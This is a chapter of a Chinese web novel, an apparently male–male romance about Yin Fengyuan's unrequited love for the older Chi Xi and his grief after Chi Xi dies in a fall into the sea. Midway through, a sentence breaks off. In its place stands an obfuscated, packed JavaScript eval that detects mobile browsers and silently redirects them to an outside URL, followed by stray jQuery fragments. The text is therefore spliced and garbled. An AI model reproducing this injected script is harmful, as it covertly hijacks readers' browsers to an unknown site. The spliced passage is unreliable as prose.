七岁以前，殷封远虽然是个小孩，却已经不知天高地厚，他觉得世界上的一切都会是他的，权利、财富，所有一切，都是他的掌中之物，时间问题而已，只要他想要，什么都会有，而他迫不及待地想要得到这一切。


    他废寝忘食地学习、规划时间、申请跳级，也只是为了更快接近他的目的，但害怕吓到他普普通通过着平凡日子，希望他将来也做一个普通人的爸妈，所以他说，他都是为了吃到香草栗子卷，才这么拼命的努力。


    这是作为一个孩子，父母能接受的理由。


    其实虽然栗子卷是很好吃，但远远填不满他心中与生俱来的欲望，越是长大，就越是不够。


    后来……发生了很多事，他遇到了他，然后，他就开始变了。


    他有想过，如果遇到他的时间再早一点，早到他还没有因为父母的死，意识到自己也有无能为力的时候；如果遇到他的时间再晚一点，晚到他已经在追逐欲望的路上走到尽头，也许一切都会不一样。


    更早或更晚，他都不会那么压抑自己的欲望，可正是因为遇上他的时间是那么不早又不晚，他得到了他作为家人的爱，因为这份爱，他不敢再放纵自己的欲望，却也永远地被遗留在作为爱人选项的世界之外。


    他不舍得失去这份爱，这份已经得到的“爱”让他竟然开始胆怯。可是，他又是那么的不甘心。


    也许很多人会觉得一个孩子的爱是肤浅又可笑的，他甚至还不知道爱是什么。但是，如果他有机会对着池溪说出来，他会告诉他，一个孩子的爱，一点也不会比一个成年人的爱少，从孩子时就开始的爱反而更纯粹、更简单、更无暇，他再也不会像爱他一样地去爱任何一个人，包括他自己。


    在不知道什么是爱的时候，他就爱着他。爱着托着他的手教他射击的他，爱着在森林里拨开草丛找到他的他，爱着一个人在琴房里弹琴的他，爱着俯身在花丛中托起一朵雪兰花的他……他甚至爱着那些落在他身上的所有晨曦、雨露、晚霞，他让他感受到，原来它们也是那么的美。


    在第一次意识到爱的时候，他也开始恨他。


    他看到他的面色绯红，看到根本不配站在他身边的人竟然俯身在他身上，看到他身上像花瓣一样粉红的吻痕……


    那一天发生了什么，他几乎都是难以回忆的，一回想，全身能感觉到痛的地方，好像都会开始齐齐发痛。他在雨夜冲出家门，而他没有追来。


    他第一次喝酒就喝得醉醺醺，他恨他放纵，恨他从来不知节制，恨他不能在一夜就长大到他能不再把他当成一个孩子，以至于他的愤怒、痛苦、悲伤，在他眼里好像都只是小孩子的无理取闹，恨他比他年长的这近十岁，因为这十岁，他好像永永远远，都不会再用孩子以外的眼神看待他。


    池溪的妈妈是东方人，所以每年，他都会带他们去庙里上香。以前，他从来不信神，也懒得祈祷，祈祷有用的话，还需要努力干什么？那一天，他莫名其妙地撞到了那家庙里。


    他忽然跪倒在以前从来不曾正眼看过的神像面前，手里攥紧那颗从来没有离身过的红宝石，他拼命地对神像祈求，求求你，如果存在的话，让他也爱上我吧，让他也爱上我吧，他可以什么都不要。


    也许就连那时醉得犯傻的自己都已经知道，这是不可能的。他握着那块宝石，听到八音盒叮叮咚咚地奏出他那一天弹的钢琴曲，看到红色的棱形镜面里，映出他自己不知道什么时候流了满面的眼泪。


    如果相遇得早一点，如果相遇得晚一点，也许他都会试着去激怒他，反叛他，用尽所有地去撕破他总是那么平静的脸，把他从他的位置上扯下来，弄脏他，玷污他。可偏偏，他们相遇得不早也不晚。


    所以，他不舍得，他也不敢。他只能假装自己没有在神像前那么哭过，假装不在意地回了家。


    神，果然是不存在的。他没有让他爱上他，甚至把他彻底从他的生命中带走。


    下坠的时候，风极速地在耳边穿过，刺得他的眼睛生疼，那一晚过后再没有流过的泪，也许都在那一天，那一刻流尽了。


    眼泪，果然是没有用的东西。可是至少，他不会让他一个人躺在那么冰冷的海水里。即使粉身碎骨，他也要抱着他。


    可是，他却连这样的机会都没有。三万米的高空，冷得刺骨的海水，都没有杀死他，就像他小时候冥冥中意识到的一样，他总是可以活下去，却吞噬了和他一起坠落的池溪，他们之间，只差了一秒。


    醒来的时候，他竟然没有受太大的致命伤。然后，有人莫名其妙地自称赏识他，一堆很多人梦寐以求的东西也都自动贴了上来，也许曾经的他也会喜悦。


    “以后，你会得到很多，财富、权利、爱情，你全都会有。”


    池溪对他说的话，好像正在应


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14916533|158652||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    验。可是，他不知道，他早就已经不在乎这些东西。


    我不要财富，不要地位，不要人群的簇拥，不要一面墙的勋章，我只要你，求你不要丢下我……这些所有的话，都像是他从来没有机会说出口的告白一样，再也没办法让他听到。


    沐洛恒疯了一样地在到处找池溪，甚至连政斗都不参与了，好像要把整个星之海的水都抽干。过了一阵，他又平静了下来，然后又举办了一次婚礼，只不过这个婚礼诡异得可怕，因为“皇妃”是个死人，婚礼也冷得像个冰窖，去参加的贵族们回来都生了大病。


    殷封远没有再去这场婚礼，他开着船，来到了星海里，到了一个位置的时候，他停了下来。


    “从小，我的直觉就一直很准。”就像他意识到他爱他的那一刻，其实就知道他不会爱他。就像他知道，现在，这里，才是离他最近的地方，而不是那具没有了灵魂的身体。


    他将手伸入海中，海水冰凉，森森刺骨，并不是那个人曾经温暖得让他眷恋的皮肤，可是，他知道，这里是离他最近的地方，他的手探得越来越深，越来越深，冰到麻木，却不舍得离开。


    “阿、阿远！你可不要想不开！”曾经的队友也许是担心他，偷偷雇了另一条船，看他这么做，忍不住出声提醒他。


    他的担心是多余的。


    他当然不会想不开。因为，如果他跳下去，他就会从离他最近的地方，去到离他永永远远、最远的地方，连这样冰冷刺骨、却最后拥抱过他的海水也不再能触摸得到，那些或是痛苦或是快乐的记忆，也都不会再记得。


    ——其实还是快乐的记忆更多。殷封远对着这片海水说话，像是要让这片无声的海，把他的声音传递到另一个世界。


    只是，你不在了，那些记忆就此变得模糊。如果可以换回你，我愿意抹去所有快乐的记忆、透支未来，和从未回应过他的神明做交换。即使你不再记得我。


    日光倒映，海水无边，冰冷的温度慢慢浸没过他的手掌、手肘、又接着往上，他却觉得温暖。


    依稀的，他好像回到了很多年前的某一个午后。池溪在花园里看书，阳光洒在他的侧脸上，他假装不在意地路过，脚下却违背意志，偷偷走到他的身后。


    他没有发出任何声音，池溪却从书里抬起头，回过身，水墨色的眼眸里慢慢浮现出点点笑意。那一刻，连阳光都黯然失色。